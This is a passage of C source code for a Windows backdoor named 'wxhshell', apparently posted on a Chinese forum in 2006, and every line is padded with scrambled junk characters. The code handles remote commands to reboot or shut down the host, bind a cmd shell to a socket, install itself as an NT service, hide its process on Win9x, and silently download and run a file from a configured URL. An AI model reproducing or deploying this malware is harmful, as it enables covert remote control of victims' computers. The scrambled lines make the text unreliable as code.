    switch(cmd[0]) { )\ J~KB4  
  T1;>qgp4b  
  // 帮助 u56F;y  
  case '?': { 1i;Cw/mr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `o21f{1]X&  
    break; nGxG!  
  } T$Z}1e]  
  // 安装 G)&!f)6  
  case 'i': { _po5j;"_O  
    if(Install()) rLA^ &P:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L$ZsNs+  
    else PoD/i@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &;U F,  
    break; p,14'HS%@  
    } I7W?}bR*6  
  // 卸载 ?=b#H6vs  
  case 'r': { )NO ,G  
    if(Uninstall()) W Haf}.V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # ELYPp]6  
    else .x1.`Y   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tg7QX/KX  
    break; _o==  
    } TWdhl9Ot  
  // 显示 wxhshell 所在路径 Tn?D~?a*O  
  case 'p': { Z9i~>k  
    char svExeFile[MAX_PATH]; e^v\K[  
    strcpy(svExeFile,"\n\r"); #JR$RH  
      strcat(svExeFile,ExeFile); `bWc<4T  
        send(wsh,svExeFile,strlen(svExeFile),0); g`4WisL1n  
    break; dw'P =8d  
    } \_7'f  
  // 重启 ' ?a d  
  case 'b': { \vE-;,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v!AfIcEV  
    if(Boot(REBOOT)) Yn>FSq^Wp-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u]P9ip"Z  
    else { $?On,U  
    closesocket(wsh); y:k7eE"  
    ExitThread(0); S";}gw?r6  
    } Eo@rrM:  
    break; t-Ble  
    } t-SZBNb  
  // 关机 AvB21~t&]  
  case 'd': { .e\PCf9v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lDVgW}o@  
    if(Boot(SHUTDOWN)) ^G "Qp8 "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4@0Z<8Mo  
    else { cL4Xh|NBp  
    closesocket(wsh); F <{k~   
    ExitThread(0); 6iY(RYZ7-  
    } 5kCXy$"%  
    break;  SPnW8  
    } 0 > QqsQ  
  // 获取shell >RrG&Wv59  
  case 's': { gp+@+i>b+[  
    CmdShell(wsh); ;X+cS,h  
    closesocket(wsh); O7p=|F"  
    ExitThread(0); oo1h"[  
    break; QN#tj$x  
  } c/%GfB[w0  
  // 退出 n{=Ot^ ";  
  case 'x': { /< Dtu UM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e@PY(#ru  
    CloseIt(wsh); u ^M'[<{  
    break; 7gREcL2  
    } @B!gxW\C  
  // 离开 >^g\s]c[  
  case 'q': { .-1'#Z1T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4}0Ry\ 6  
    closesocket(wsh); %0vWyU:K9  
    WSACleanup(); ~SI G0U8  
    exit(1); ;8b!T -K  
    break; 3!8u  
        } $5DlCN  
  } M2nUY`%#v  
  } w`atk=K  
*P?Rucg  
  // 提示信息 c`oW-K{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +y\o^w4sT  
} C%#u2C2  
  } }4?z<.V  
j%gle%_  
  return; hb1eEn  
} !1l~'/r  
I(b]V!mj:  
// shell模块句柄 NzS`s,N4/0  
int CmdShell(SOCKET sock) uW4.Q_O!H  
{ 0XI6gPo%  
STARTUPINFO si; 9[[$5t`8  
ZeroMemory(&si,sizeof(si)); XJ1Bl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,M$h3B\;r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FLIU}doc  
PROCESS_INFORMATION ProcessInfo; 'ZAIe7i&  
char cmdline[]="cmd"; KLjvPT\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |{MXDx  
  return 0; V/RV,K1/  
} ^JGwCHeb|H  
H!|g?"C  
// 自身启动模式 aJ[|80U  
int StartFromService(void) KfQ?b_H.  
{ pDcGf7  
typedef struct spWo{  
{  }- wK  
  DWORD ExitStatus; ~VV$wU!A  
  DWORD PebBaseAddress; HrUE?Sq  
  DWORD AffinityMask; BadnL<cj]  
  DWORD BasePriority; BN6cu9a  
  ULONG UniqueProcessId; EtQ:x$S_  
  ULONG InheritedFromUniqueProcessId; 8 EU/}Ym  
}   PROCESS_BASIC_INFORMATION; ,x?Jrcx~'C  
csV3mzP  
PROCNTQSIP NtQueryInformationProcess; % zO>]f&  
[rz5tfMp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YUT I)&y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +K ,T^<F;  
7tne/Yz  
  HANDLE             hProcess; szD9z{9"y  
  PROCESS_BASIC_INFORMATION pbi; Az/B/BLB  
g*!1S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bve',.xH  
  if(NULL == hInst ) return 0; eV"Uv3  
FM|3'a-z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KGmAnN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5ka6=R(r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WT}x Cni  
un}!&*+  
  if (!NtQueryInformationProcess) return 0; D'#,%4P,e\  
6NQ`IC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^?|d< J:{  
  if(!hProcess) return 0; U|8?$/*\  
|o@U L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #k,.xMJ~  
0n\AUgVPF  
  CloseHandle(hProcess); WP'.o  
"`h.8=-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); COj^pdE3  
if(hProcess==NULL) return 0; ;WgzR_'!'  
fP 3t0cp  
HMODULE hMod; PJ,G_+b!  
char procName[255]; (-VH=,Md  
unsigned long cbNeeded; f`8?]@y{  
B;nIKZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B7sBO6Z$J  
-fN5-AC  
  CloseHandle(hProcess); L1&` 3a?pL  
(0Jr<16si$  
if(strstr(procName,"services")) return 1; // 以服务启动 Pfd%[C/vdm  
fS p  
  return 0; // 注册表启动 . HAFKB;  
} g"`jWSt7Q  
3N4kW[J2i  
// 主模块 2iC BF-,  
int StartWxhshell(LPSTR lpCmdLine) T "#DhEM  
{ ?QtM|e  
  SOCKET wsl; ]C{N4Ni^Z  
BOOL val=TRUE; l~[ K.p&  
  int port=0; 7^1K4%IPl  
  struct sockaddr_in door; A,c_ME+DVB  
 O`Htdnu  
  if(wscfg.ws_autoins) Install(); SZ:R~4 A  
zoBp02j  
port=atoi(lpCmdLine); VBW][f  
-b34Wz(  
if(port<=0) port=wscfg.ws_port; IR32O,)  
R _2#7Xs  
  WSADATA data; {c7@`AV]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M XuHA?  
.=) *Qx+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ONUa7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }%<cF i &  
  door.sin_family = AF_INET; -s ^cy+jd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D;OPsNQ  
  door.sin_port = htons(port); {mLv?"M]  
.(s@{=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =6N=5JePB  
closesocket(wsl); fc4jbPp:M  
return 1; +e#(p<  
} Iz&d S?p_  
Jg$ NYs.xZ  
  if(listen(wsl,2) == INVALID_SOCKET) { aM:tg1g  
closesocket(wsl); e}s,WC2-  
return 1; -CALU X  
} F*Ul#yX  
  Wxhshell(wsl); AjsjYThV  
  WSACleanup(); CY"i|s  
JB!*{{  
return 0; xXJzE|)1h!  
M >i *e  
} u3DFgl3-7  
g@ ]1H41  
// 以NT服务方式启动 d <zD@ z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BWr!K5w>i  
{ B)dd6R>8  
DWORD   status = 0; mS.!lkV  
  DWORD   specificError = 0xfffffff; Ds@K%f(.?w  
B5_QH8kt7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ssmJ?sl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qj^A   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }IQ![T5  
  serviceStatus.dwWin32ExitCode     = 0; 1y eD-M"w  
  serviceStatus.dwServiceSpecificExitCode = 0; Djf~8q V!  
  serviceStatus.dwCheckPoint       = 0; )-1$y+s>  
  serviceStatus.dwWaitHint       = 0; w)h"?'m~  
QwuSo{G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ko "JH=<  
  if (hServiceStatusHandle==0) return; \?^ EFA+;  
C*Q x  
status = GetLastError(); s}DNu<"g  
  if (status!=NO_ERROR) NkQain9  
{ la_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L>N)[;|  
    serviceStatus.dwCheckPoint       = 0; R^.c  
    serviceStatus.dwWaitHint       = 0; /q!_f!<q4x  
    serviceStatus.dwWin32ExitCode     = status; EPM(hxCIQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; S-brV\v7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); buHUBn[3)  
    return; o+\?E.%%g  
  } 9~ifST \  
W7 +Q&4Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]ij:>O@{$  
  serviceStatus.dwCheckPoint       = 0; 5yp  
  serviceStatus.dwWaitHint       = 0; E.yc"|n7l2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ae<;b Of  
} g}vU*g ;  
{s?hXB  
// 处理NT服务事件,比如:启动、停止 avqJ[R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Xg}~\|n  
{ @d|]BqQ4jh  
switch(fdwControl) V_9\Ax'X  
{ @VsK7Eo  
case SERVICE_CONTROL_STOP: fi6_yFl  
  serviceStatus.dwWin32ExitCode = 0; z7a @'+'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w_Z*X5u  
  serviceStatus.dwCheckPoint   = 0; " j:15m5  
  serviceStatus.dwWaitHint     = 0; _$v$v$74^  
  { DyQvk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J^Wqa$<;"  
  } OW8TiM mK  
  return; ; d}  
case SERVICE_CONTROL_PAUSE: <q|eG\01S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XsMETl"Av4  
  break; ;kVo? W]  
case SERVICE_CONTROL_CONTINUE: pf0uwXo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; > !HC ?  
  break; =gSACDTc  
case SERVICE_CONTROL_INTERROGATE: ry4:i4/[  
  break; >*}m .'u  
}; > 'JWW*Y!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k59.O~0V  
} 6<UI%X  
[wJl]i  
// 标准应用程序主函数 QSOJHRl=C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .r@'9W^8  
{ fXkemB^)_  
GU)NZ[e  
// 获取操作系统版本 b*< *,Ds/G  
OsIsNt=GetOsVer(); 5}_,rF?cX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PmDar<m  
|>nVp:t^  
  // 从命令行安装 ,q Bu5t  
  if(strpbrk(lpCmdLine,"iI")) Install(); uL@'Hv A  
$7\hszjZ  
  // 下载执行文件 zx5t gZd,N  
if(wscfg.ws_downexe) { xCm`g {  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AdRt\H<  
  WinExec(wscfg.ws_filenam,SW_HIDE); |CjdmQ u  
} +@#-S  
j<i: rk|  
if(!OsIsNt) { VHU,G+ms  
// 如果时win9x,隐藏进程并且设置为注册表启动 JZcW?Or  
HideProc(); r$Y% 15JV  
StartWxhshell(lpCmdLine); Umk!m] q  
} B 6,X)  
else Q__1QUu  
  if(StartFromService()) i)d'l<RA  
  // 以服务方式启动 hC2Ra "te)  
  StartServiceCtrlDispatcher(DispatchTable); =+wkjTO  
else p5=VGKp  
  // 普通方式启动 eadY(-4|I-  
  StartWxhshell(lpCmdLine); 5W?r04  
@nF#\  
return 0; _ "[O=h:  
}
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只看该作者 1 发表于: 2006-10-10
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